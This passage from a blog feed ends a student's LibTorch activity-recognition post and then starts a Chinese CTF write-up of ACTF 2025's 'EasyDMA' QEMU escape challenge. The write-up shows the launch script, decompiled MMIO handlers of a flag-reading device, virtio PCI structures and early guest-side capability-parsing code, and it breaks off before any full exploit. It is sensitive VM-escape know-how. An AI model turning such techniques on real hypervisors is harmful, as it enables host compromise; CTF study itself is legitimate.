test_feature_file = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/X_test.txt"</span>;</span><br><span class="line"><span class="type">const</span> std::string test_label_file = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/y_test.txt"</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> batch_size = <span class="number">8</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> num_epochs = <span class="number">15</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">double</span> learning_rate = <span class="number">0.001</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">auto</span> train_dataset = <span class="built_in">CustomDataset</span>(train_feature_file, train_label_file).<span class="built_in">map</span>(torch::data::transforms::Stack<>());</span><br><span class="line"><span class="keyword">auto</span> train_loader = torch::data::<span class="built_in">make_data_loader</span>(train_dataset, batch_size);</span><br><span class="line"></span><br><span class="line"><span class="keyword">auto</span> test_dataset = <span class="built_in">CustomDataset</span>(test_feature_file, test_label_file).<span class="built_in">map</span>(torch::data::transforms::Stack<>());</span><br><span class="line"><span class="keyword">auto</span> test_loader = torch::data::<span class="built_in">make_data_loader</span>(test_dataset, batch_size);</span><br><span class="line"></span><br><span class="line">ResNet1D model = <span class="built_in">ResNet1D</span>();</span><br><span class="line">model-><span class="built_in">to</span>(device);</span><br><span class="line"></span><br><span class="line">torch::<span class="function">optim::SGD <span class="title">optimizer</span><span class="params">(model->parameters(), torch::optim::SGDOptions(learning_rate).momentum(<span class="number">0.9</span>))</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="type">size_t</span> epoch = <span class="number">1</span>; epoch <= num_epochs; ++epoch) {</span><br><span class="line"> model-><span class="built_in">train</span>();</span><br><span class="line"> <span class="type">double</span> total_loss = <span class="number">0.0</span>;</span><br><span class="line"> <span class="type">size_t</span> batch_idx = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span>& batch : *train_loader) {</span><br><span class="line"> <span class="keyword">auto</span> data = batch.data.<span class="built_in">to</span>(device);</span><br><span class="line"> <span class="keyword">auto</span> targets = batch.target.<span class="built_in">to</span>(device);</span><br><span class="line"></span><br><span class="line"> optimizer.<span class="built_in">zero_grad</span>();</span><br><span class="line"> <span class="keyword">auto</span> output = model->forward(data);</span><br><span class="line"> <span class="keyword">auto</span> loss = torch::nn::functional::<span class="built_in">cross_entropy</span>(output, targets);</span><br><span class="line"> loss.<span class="built_in">backward</span>();</span><br><span class="line"> optimizer.<span class="built_in">step</span>();</span><br><span class="line"></span><br><span class="line"> total_loss += loss.<span class="keyword">template</span> <span class="built_in">item</span><<span class="type">double</span>>();</span><br><span class="line"> batch_idx++;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> std::cout << <span class="string">"Epoch ["</span> << epoch << <span class="string">"/"</span> << num_epochs << <span class="string">"] Avg Loss: "</span> << total_loss / batch_idx << std::endl;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>预测部分如下:</p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">const</span> std::string model_path = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/model.pt"</span>;</span><br><span class="line"><span class="type">const</span> std::string feature_file = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/X_test.txt"</span>;</span><br><span class="line"><span class="type">const</span> std::string label_file = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/y_test.txt"</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> batch_size = <span class="number">8</span>;</span><br><span class="line"></span><br><span class="line"><span class="function">torch::Device <span class="title">device</span><span class="params">(torch::kCPU)</span></span>;</span><br><span class="line"><span class="keyword">if</span> (torch::cuda::<span class="built_in">is_available</span>()) {</span><br><span class="line"> std::cout << <span class="string">"CUDA is available! Training on GPU."</span> << std::endl;</span><br><span class="line"> device = torch::<span class="built_in">Device</span>(torch::kCUDA);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">ResNet1D model = <span class="built_in">ResNet1D</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"> torch::<span class="built_in">load</span>(model, model_path);</span><br><span class="line"> std::cout << <span class="string">"Model loaded successfully from: "</span> << model_path << std::endl;</span><br><span class="line">} <span class="built_in">catch</span> (<span class="type">const</span> c10::Error& e) {</span><br><span class="line"> std::cerr << <span class="string">"Error loading model: "</span> << e.<span class="built_in">what</span>() << std::endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">model-><span class="built_in">to</span>(device);</span><br><span class="line">model-><span class="built_in">eval</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">auto</span> dataset = <span class="built_in">CustomDataset</span>(feature_file, label_file).<span class="built_in">map</span>(torch::data::transforms::Stack<>());</span><br><span class="line"><span class="keyword">auto</span> data_loader = torch::data::<span class="built_in">make_data_loader</span>(dataset, batch_size);</span><br><span class="line"></span><br><span class="line"><span class="type">size_t</span> correct = <span class="number">0</span>;</span><br><span class="line"><span class="type">size_t</span> total = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">torch::NoGradGuard no_grad;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">auto</span>& batch : *data_loader) {</span><br><span class="line"> <span class="keyword">auto</span> data = batch.data;</span><br><span class="line"> <span class="keyword">auto</span> targets = batch.target;</span><br><span class="line"></span><br><span class="line"> data = data.<span class="built_in">to</span>(device);</span><br><span class="line"> targets = targets.<span class="built_in">to</span>(device);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">auto</span> output = model->forward(data);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">auto</span> pred = output.<span class="built_in">argmax</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> correct += pred.<span class="built_in">eq</span>(targets).<span class="built_in">sum</span>().<span class="keyword">template</span> <span class="built_in">item</span><<span class="type">int64_t</span>>();</span><br><span class="line"> total += targets.<span class="built_in">size</span>(<span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">double</span> accuracy = <span class="built_in">static_cast</span><<span class="type">double</span>>(correct) / total * <span class="number">100.0</span>;</span><br><span class="line">std::cout << <span class="string">"Test Accuracy: "</span> << accuracy << <span class="string">"%"</span> << std::endl;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br></pre></td></tr></tbody></table></figure><p>改进后的模型得到的结果是:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Test Accuracy: 96.4031%</span><br></pre></td></tr></tbody></table></figure>]]></content>
<summary type="html"><h1 id="前言">前言</h1>
<p>程序设计课期末作业要求实现一个「基于可穿戴传感器数据的人体活动识别」,具体是实现一个分类任务。</p></summary>
<category term="Study" scheme="http://summ2.link/categories/Study/"/>
<category term="Neural network" scheme="http://summ2.link/tags/Neural-network/"/>
</entry>
<entry>
<title>QEMU PWN - EasyDMA</title>
<link href="http://summ2.link/categories/CTF/easydma/"/>
<id>http://summ2.link/categories/CTF/easydma/</id>
<published>2025-05-07T16:00:00.000Z</published>
<updated>2025-05-07T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="easydma">EasyDMA</h1><p>From: ACTF 2025</p><p>题目给出一个去符号的 qemu 二进制文件<code>qemu-system-x86_64</code>,启动参数如下</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line"><span class="built_in">timeout</span> --foreground 300 ./qemu-system-x86_64 \</span><br><span class="line"> -L pc-bios \</span><br><span class="line"> -m 1024 \</span><br><span class="line"> -kernel bzImage \</span><br><span class="line"> -initrd rootfs.cpio \</span><br><span class="line"> -drive file=null-co://,<span class="keyword">if</span>=none,<span class="built_in">id</span>=mydisk \</span><br><span class="line"> -device virtio-blk-pci,drive=mydisk,ioeventfd=off \</span><br><span class="line"> -device readflag \</span><br><span class="line"> -append <span class="string">"priority=low console=ttyS0"</span> \</span><br><span class="line"> -monitor /dev/null \</span><br><span class="line"> -nographic</span><br></pre></td></tr></tbody></table></figure><span id="more"></span><p>添加两个设备 <code>virtio-blk-pci</code>, <code>readflag</code>。</p><p>反汇编可以找到 <code>readflag</code> 通过 <code>mmio</code> 的读、写回调函数:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">readflag_mmio_read</span><span class="params">(__int64 opaque, <span class="type">unsigned</span> __int64 addr, <span class="type">int</span> size)</span></span><br><span class="line">{</span><br><span class="line"> __int64 result; <span class="comment">// rax</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( addr > <span class="number">0x7F</span> )</span><br><span class="line"> {</span><br><span class="line"> result = <span class="number">-1LL</span>;</span><br><span class="line"> <span class="keyword">if</span> ( size != <span class="number">4</span> )</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( size != <span class="number">4</span> )</span><br><span class="line"> {</span><br><span class="line"> result = <span class="number">-1LL</span>;</span><br><span class="line"> <span class="keyword">if</span> ( size != <span class="number">8</span> )</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line"> }</span><br><span class="line"> result = <span class="number">0xDEADBEEFL</span>L;</span><br><span class="line"> <span class="keyword">if</span> ( addr )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( addr == <span class="number">8</span> )</span><br><span class="line"> <span class="keyword">return</span> *(_QWORD *)(opaque + <span class="number">2984</span>);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1LL</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __fastcall <span class="title function_">readflag_mmio_write</span><span class="params">(__int64 opaque, <span class="type">unsigned</span> __int64 addr, <span class="type">size_t</span> val, <span class="type">int</span> size)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">void</span> *v4; <span class="comment">// rbp</span></span><br><span class="line"> FILE *v5; <span class="comment">// rax</span></span><br><span class="line"> FILE *v6; <span class="comment">// r12</span></span><br><span class="line"> <span class="type">size_t</span> v7; <span class="comment">// rax</span></span><br><span class="line"> <span class="type">int</span> v8; <span class="comment">// [rsp+0h] [rbp-20h]</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( addr > <span class="number">0x7F</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( size != <span class="number">4</span> )</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( size != <span class="number">4</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( size == <span class="number">8</span> && addr == <span class="number">8</span> )</span><br><span class="line"> <span class="keyword">goto</span> LABEL_6;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( addr )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( addr == <span class="number">8</span> )</span><br><span class="line">LABEL_6:</span><br><span class="line"> *(_QWORD *)(opaque + <span class="number">2984</span>) = val;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( val <= <span class="number">0xFFF</span> )</span><br><span class="line"> {</span><br><span class="line"> v8 = val;</span><br><span class="line"> v4 = <span class="built_in">malloc</span>(val);</span><br><span class="line"> <span class="keyword">if</span> ( v4 )</span><br><span class="line"> {</span><br><span class="line"> v5 = fopen64(<span class="string">"flag"</span>, <span class="string">"r"</span>);</span><br><span class="line"> v6 = v5;</span><br><span class="line"> <span class="keyword">if</span> ( v5 )</span><br><span class="line"> {</span><br><span class="line"> v7 = fread(v4, <span class="number">1uLL</span>, (<span class="type">unsigned</span> <span class="type">int</span>)(v8 - <span class="number">1</span>), v5);</span><br><span class="line"> <span class="keyword">if</span> ( v7 )</span><br><span class="line"> *((_BYTE *)v4 + v7) = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"No data read from the file."</span>);</span><br><span class="line"> <span class="built_in">free</span>(v4);</span><br><span class="line"> fclose(v6);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"Error opening file"</span>);</span><br><span class="line"> <span class="built_in">free</span>(v4);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> perror(<span class="string">"Memory allocation failed"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h1 id="virtio-block-device1">Virtio Block Device<a href="#fn1" class="footnote-ref" id="fnref1" role="doc-noteref"><sup>1</sup></a></h1><h2 id="data-types-definition">Data types definition</h2><p>For the integer data types used in the structure definitions, thefollowing conventions are used:</p><ul><li><p><strong>u8, u16, u32, u64</strong></p><p>An unsigned integer of the specified length in bits.</p></li><li><p><strong>le16, le32, le64</strong></p><p>An unsigned integer of the specified length in bits, in little-endianbyte order.</p></li></ul><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> u8 uint8_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u16 uint16_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u32 uint32_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u64 uint64_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> le16 u16</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> le32 u32</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> le64 u64</span></span><br></pre></td></tr></tbody></table></figure><h2 id="pci-capabilities">PCI Capabilities</h2><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_cap</span> {</span></span><br><span class="line"> u8 cap_vndr; <span class="comment">/* Generic PCI field: PCI_CAP_ID_VNDR */</span></span><br><span class="line"> u8 cap_next; <span class="comment">/* Generic PCI field: next ptr. */</span></span><br><span class="line"> u8 cap_len; <span class="comment">/* Generic PCI field: capability length */</span></span><br><span class="line"> u8 cfg_type; <span class="comment">/* Identifies the structure. */</span></span><br><span class="line"> u8 bar; <span class="comment">/* Where to find it. */</span></span><br><span class="line"> u8 id; <span class="comment">/* Multiple capabilities of the same type */</span></span><br><span class="line"> u8 padding[<span class="number">2</span>]; <span class="comment">/* Pad to full dword. */</span></span><br><span class="line"> le32 offset; <span class="comment">/* Offset within bar. */</span></span><br><span class="line"> le32 length; <span class="comment">/* Length of the structure, in bytes. */</span></span><br><span class="line">};</span><br></pre></td></tr></tbody></table></figure><p><strong><em>cfg_type</em></strong> identifies the structure,according to the following table:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Common configuration */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_PCI_CAP_COMMON_CFG 1</span></span><br><span class="line"><span class="comment">/* Notifications */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_PCI_CAP_NOTIFY_CFG 2</span></span><br><span class="line"><span class="comment">/* ISR Status */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_PCI_CAP_ISR_CFG 3</span></span><br><span class="line"><span class="comment">/* Device specific configuration */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_PCI_CAP_DEVICE_CFG 4</span></span><br><span class="line"><span class="comment">/* PCI configuration access */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_PCI_CAP_PCI_CFG 5</span></span><br><span class="line"><span class="comment">/* Shared memory region */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_PCI_CAP_SHARED_MEMORY_CFG 8</span></span><br><span class="line"><span class="comment">/* Vendor-specific data */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_PCI_CAP_VENDOR_CFG 9</span></span><br></pre></td></tr></tbody></table></figure><p>For <strong><em>common configuration</em></strong>, its layout isbelow:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_common_cfg</span> {</span></span><br><span class="line"> <span class="comment">/* About the whole device. */</span></span><br><span class="line"> le32 device_feature_select; <span class="comment">/* read-write */</span></span><br><span class="line"> le32 device_feature; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> le32 driver_feature_select; <span class="comment">/* read-write */</span></span><br><span class="line"> le32 driver_feature; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 config_msix_vector; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 num_queues; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> u8 device_status; <span class="comment">/* read-write */</span></span><br><span class="line"> u8 config_generation; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> <span class="comment">/* About a specific virtqueue. */</span></span><br><span class="line"> le16 queue_select; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 queue_size; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 queue_msix_vector; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 queue_enable; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 queue_notify_off; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> le64 queue_desc; <span class="comment">/* read-write */</span></span><br><span class="line"> le64 queue_driver; <span class="comment">/* read-write */</span></span><br><span class="line"> le64 queue_device; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 queue_notif_config_data; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> le16 queue_reset; <span class="comment">/* read-write */</span></span><br><span class="line"> <span class="comment">/* About the administration virtqueue. */</span></span><br><span class="line"> le16 admin_queue_index; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> le16 admin_queue_num; <span class="comment">/* read-only for driver */</span></span><br><span class="line">};</span><br></pre></td></tr></tbody></table></figure><p>For <strong><em>notification</em></strong>, its layout is below:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_notify_cap</span> {</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_cap</span> <span class="title">cap</span>;</span></span><br><span class="line"><span class="class"> <span class="title">le32</span> <span class="title">notify_off_multiplier</span>; /* <span class="title">Multiplier</span> <span class="title">for</span> <span class="title">queue_notify_off</span>. */</span></span><br><span class="line"><span class="class">};</span></span><br><span class="line"><span class="class"></span></span><br></pre></td></tr></tbody></table></figure><p>We recognize these type, and record the offset.</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">print_cap</span><span class="params">(<span class="keyword">struct</span> virtio_pci_cap* cap)</span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cap_len: %x\n"</span>, cap->cap_len);</span><br><span class="line"> <span class="keyword">switch</span>(cap->cfg_type){</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_COMMON_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: common\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_NOTIFY_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: notify\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_ISR_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: isr\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_DEVICE_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: device\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_PCI_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: pci\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_SHARED_MEMORY:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: shared memory\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_VENDOR_CFG:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: vendor\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"cfg_type: unknown\n"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"bar: %x\n"</span>, cap->bar);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"id: %x\n"</span>, cap->id);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"offset: %x\n"</span>, cap->offset);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"length: %x\n"</span>, cap->length);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">switch</span>(cap.cfg_type){</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_COMMON_CFG:</span><br><span class="line"> virtio_common_mmio = virtio_mmio + cap.offset;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_NOTIFY_CFG:</span><br><span class="line"> virtio_notify_mmio = (<span class="keyword">struct</span> virtio_notify_cfg*)((<span class="type">size_t</span>)virtio_mmio + cap.offset);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_ISR_CFG:</span><br><span class="line"> virtio_isr_mmio = virtio_mmio + cap.offset;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_DEVICE_CFG:</span><br><span class="line"> virtio_device_mmio = virtio_mmio + cap.offset;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br></pre></td></tr></tbody></table></figure><h2 id="virtqueue2">Virtqueue<a href="#fn2" class="footnote-ref" id="fnref2" role="doc-noteref"><sup>2</sup></a></h2><p>The mechanism for bulk data transport on virtio devices ispretentiously called a virtqueue. Each device can have zero or morevirtqueues.</p><p>Each virtqueue can consist of up to 3 parts:</p><p> • Descriptor Area - used for describing buffers</p><p> • Driver Area - extra data supplied by driver to the device. Alsocalled avail virtqueue.</p><p> • Device Area - extra data supplied by device to driver. Also calledused virtqueue.</p><figure><img src="\202558-QEMU-PWN---EasyDMA/2020-07-08-virtio-fig1.png" alt="Shared memory with split ring elements"><figcaption aria-hidden="true">Shared memory with split ringelements</figcaption></figure><p>There areas structure defined below:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 